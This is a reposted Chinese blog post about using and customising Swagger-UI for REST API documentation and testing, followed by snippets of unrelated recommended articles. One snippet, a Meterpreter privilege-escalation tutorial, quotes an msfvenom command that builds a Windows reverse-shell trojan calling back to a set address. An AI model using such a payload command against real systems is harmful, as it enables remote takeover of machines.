Swagger-UI 基于REST的API测试/文档类插件-程序员宅基地

技术标签: ui  测试  json  

现在多数的项目开发中,网站和移动端都需要进行数据交互和对接,这少不了使用REST编写API接口这种场景。例如我目前的工作,移动端交由了另一团队开发,不同开发小组之间就需要以规范和文档作为标准和协作基础。良好的文档可以让开发事半功倍,而作为又懒又要效率又能交代的码农,当然最希望一切自动化,或用小聪明来找到最适合的工具。

Swagger-UI简单而一目了然。它能够纯碎的基于html+javascript实现,只要稍微整合一下便能成为方便的API在线测试工具。项目的设计架构中一直提倡使用TDD(测试驱动)原则来开发,swagger-ui在这方面更是能提供很大帮助。

Swagger-UI更倾向于在线测试接口和数据,但其核心是一个javascript插件,只要稍作修改,便能按需求定制出不同格式的说明文档,在github上更是基于它集成到各种语言环境,分支众多。

其官方提供了一个离线版本,其使用方法十分简单:直接在js格式的资源文件中录入REST API的json信息,便能容易地生成不同模块下的API列表,每个API接口描述和参数、请求方法都能在每个json数组中定制。下面是目前项目中使用到的部分预览图:


Swagger-UI 的官方地址:

http://swagger.wordnik.com

Github上的项目地址:

https://github.com/wordnik/swagger-ui

官方提供的demo地址

http://petstore.swagger.wordnik.com/

------------------------------------------------------------------

2012年10月19日更新:

下面是自己目前修改后的demo:

1. 添加了window.swaggerUi 中的几个参数(说明文件),更方便资源文件的编写

2. 修复了测试时post方法的bug

3. 界面显示中文

4. 根据每个接口的更新情况,定制了一些修订说明

下载地址 :http://amuropikin.iteye.com/admin/blogs/1701537

------------------------------------------------------------------

2012年10月24日更新

基于和合作团队的交流和改进建议,修改和增加了以下功能

1. 显示每个api的修改人、更新时间、接口更新状态(拟定、完成和重大修改)

2. 自动整理api的历史修改记录

3. 增加了返回结果的json示例

4. 增加了结果字段的说明表格

demo在近期优化后放出:)

转载于:https://my.oschina.net/ekc/blog/83281

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_34406796/article/details/91554223

智能推荐

运筹学经典问题_运筹学好玩的问题-程序员宅基地

文章浏览阅读4.5k次,点赞11次,收藏43次。构建知识体系中,有相同爱好的朋友一起加油呀。_运筹学好玩的问题

Spring框架提供了以下5种类型增强_spring的面向编程的五种增强分别是什么-程序员宅基地

文章浏览阅读207次。Spring框架中提供的5种类型增强_spring的面向编程的五种增强分别是什么

利用python开发一个竞争情报系统_Python使用文件操作实现一个XX信息管理系统的示例...-程序员宅基地

文章浏览阅读98次。写在前面大家好,我是第一次python学了一个学期,期末要完成一个毕业生信息管理系统大作业的小韩了,由于上次没有仔细看开发实现的要求,实现了一个简单的毕业生信息管理系统,而这次专门整理了两种使用文件进行保存数据实现的毕业生信息管理系统,因为是第一次学python,还不太熟悉python的写法, 而之前是学 c 、c++,感觉我的这个写的有一股 c/c++的内味:1. 使用excel .xlsx 保..._基于python的竞争信息调控

GATK4重测序数据怎么分析?上游分析标准流程_wgs gatk-程序员宅基地

文章浏览阅读707次,点赞2次,收藏3次。比对的结果将以 SAM 格式保存在指定路径下的文件中,同时使用 23 个线程来加速比对过程,元数据标签描述了测序数据的一些信息,如样本名称、测序平台等。重测序技术的应用广泛,包括基因组测序、转录组测序、外显子测序等,为生物学研究、医学诊断和个体化治疗等领域提供了重要的工具和数据基础。首先建立一个项目文件夹,将原始的测序数据放在数据目录下,通常采用二代高通量测序,每个样品下机数据为两个fq文件,成对存在,以下代码流程需要根据自己的实际需要进行修改,此处只作为示例,部分方法借鉴了网上公开信息和软件手册。_wgs gatk

ubuntu 开机进入不了图形界面-程序员宅基地

文章浏览阅读825次。在开机的时候有注意到空间不足。第二天重启的时候进入不了系统。但是 ctrl + alt _F6 可以进入shell .于是估计是空间不足导致进入不了系统。找到哪里文件夹空间异常的大就可以解决问题。du -h --max-depth=1 work/testing 类似如左边的方式找到文件夹。发现在/var/lib/apt/ 文件夹过大。原来是因为在/etc/..._ubuntu系统进不去图形界面

(笔记)Mysql命令show databases:显示所有数据库-程序员宅基地

文章浏览阅读2.1k次。 show databases命令用于显示所有数据库。show databases命令格式:show databases; (注意:最后有个s)例如:mysql> show databases;注意:为了不在显示的时候乱码,要修改数据库默认编码。以下以GBK编码页面为例进行说明。1) 修改MYSQL的配置文件:my.ini里面修改default-character-set=gbk2) 代..._显示当前所有数据库的命令是( )。 a show databases b show database c list

随便推点

MSM平台RPM_resource power manager-程序员宅基地

文章浏览阅读1.3k次。FROM:https://blog.csdn.net/hongzg1982/article/details/56516147Software Component Block DiagramRPM(Resource Power Manager)是高通MSM平台另外加的一块芯片,虽然与AP芯片打包在一起,但其是一个独立的ARM Core。之所以加这个东西,就是要控制整个电源相关的shared ..._resource power manager

Meterpreter提权详解-程序员宅基地

文章浏览阅读222次。0x01 Meterpreter自动提权1.生成后门程序我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马:msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe这里我们为生成的木马指定了payload为:windows/m..._meterpreter中的getsystem是如何实现提权的效果

css声明由什么组成,css每条声明由一个什么组成-程序员宅基地

文章浏览阅读1.3k次。在css中,每条声明由“属性”和“属性值”组成,并用分号来标识一个声明的结束,在一个样式中最后一个声明可以省略分号;所有声明被放置在一对大括号“{}”内,然后整体紧邻选择器的后面。本教程操作环境:windows7系统、CSS3版、Dell G3电脑。CSS样式及其基本语法CSS 代码可以在任何文本编辑器中打开和编辑。因此,不管读者有没有编程基础,初次接触 CSS 时会感到很简单。本节将介绍 CSS..._声明由什么组成

AES加密 — 详解-程序员宅基地

文章浏览阅读3w次,点赞21次,收藏143次。转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/120285594本文出自【赵彦军的博客】AES 简介DES 全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法,1977年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS)AES 密码学中的高级加密标准(Advanced Encryption Standard,AES),又称Rijndael加密法,是美国联邦政府采用的一种._aes加密

实用技巧--CAD制作空心文字【中级】-程序员宅基地

文章浏览阅读1.6k次。实际工作中,cad的空心字一般有以下用途:一、可以用于标题栏的作者署名(个人的艺术签名);二、可以用于线切割行业,进行文字切割;三、一些特别的字体--cad常规字体库没有的,需要描出来的..._cad 镂空文字 et扩展

SARscape数据处理SAR数据笔记——DINSAR微小形变提取_sarscape处理哨兵dinsar-程序员宅基地

文章浏览阅读1.2w次,点赞8次,收藏109次。SARscape数据处理SAR数据笔记——DINSAR微小形变提取在InSAR技术的基础上,如果重复进行干涉成像或结合己有的精细DEM数据来消除干涉图中地形因素的影响,可以检测出地表的微小形变,这是。DInSAR的技术基础。数据类型:震间两景SentinellA IW slc VV极化方式影像。1.设置系统参数/SARsca pe/Preferences,设置Load Preference..._sarscape处理哨兵dinsar

推荐文章

热门文章

相关标签